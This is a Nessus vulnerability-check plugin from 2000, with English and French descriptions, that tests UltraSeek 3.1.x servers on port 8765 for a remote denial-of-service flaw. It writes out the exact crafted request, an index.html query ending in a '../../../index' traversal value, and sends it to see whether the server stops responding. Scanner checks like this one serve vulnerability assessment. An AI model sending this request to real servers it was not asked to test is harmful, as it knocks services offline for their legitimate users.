1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
|
#
# This script was written by Renaud Deraison <deraison@cvs.nessus.org>
#
# See the Nessus Scripts License for details
#
if(description)
{
script_id(10542);
script_cve_id("CAN-2000-1019");
name["english"] = "UltraSeek 3.1.x Remote DoS";
name["francais"] = "UltraSeek 3.1.x Remote DoS";
script_name(english:name["english"], francais:name["francais"]);
desc["english"] = "
It is possible to make the remote UltraSeek server hang temporarily
by requesting :
/index.html?&col=&ht=0&qs=&qc=&pw=100%25&ws=0&nh=10&lk=1&rf=0&si=1&si=1&ql=../../../index
An attacker may use this flaw to prevent this site from responding
to valid client requests.
Solution : Upgrade to UltraSeek 4.x
Risk factor : Serious";
desc["francais"] = "
Il est possible d'empecher le serveur UltraSeek distant de rpondre
pendant quelques temps en faisant la requete :
/index.html?&col=&ht=0&qs=&qc=&pw=100%25&ws=0&nh=10&lk=1&rf=0&si=1&si=1&ql=../../../index
Un pirate peut utiliser ce problme pour empecher ce site de
rpondre aux requetes des clients.
Solution : mettez-le jour en version 4.x
Facteur de risque : Srieux";
script_description(english:desc["english"], francais:desc["francais"]);
summary["english"] = "Hangs the remote UltraSeek server for some time";
summary["francais"] = "Empeche le serveur UltraSeek distant de rpondre";
script_summary(english:summary["english"], francais:summary["francais"]);
script_category(ACT_DENIAL);
script_copyright(english:"This script is Copyright (C) 2000 Renaud Deraison",
francais:"Ce script est Copyright (C) 2000 Renaud Deraison");
family["english"] = "CGI abuses";
family["francais"] = "Abus de CGI";
script_family(english:family["english"], francais:family["francais"]);
script_dependencie("find_service.nes");
script_require_ports(8765);
exit(0);
}
#
# The script code starts here
#
if(get_port_state(8765))
{
req1 = http_head(item:"/", port:8765);
soc = open_sock_tcp(8765);
send(socket:soc, data:req1);
r = recv(socket:soc, length:4095);
close(soc);
if("200 OK" >< r)
{
soc = open_sock_tcp(8765);
req = http_get(item:"/index.html?&col=&ht=0&qs=&qc=&pw=100%25&ws=0&nh=10&lk=1&rf=0&si=1&si=1&ql=../../../index",
port:8765);
send(socket:soc, data:req);
r = recv(socket:soc, length:4096);
if(!r)security_hole(8765);
}
}
|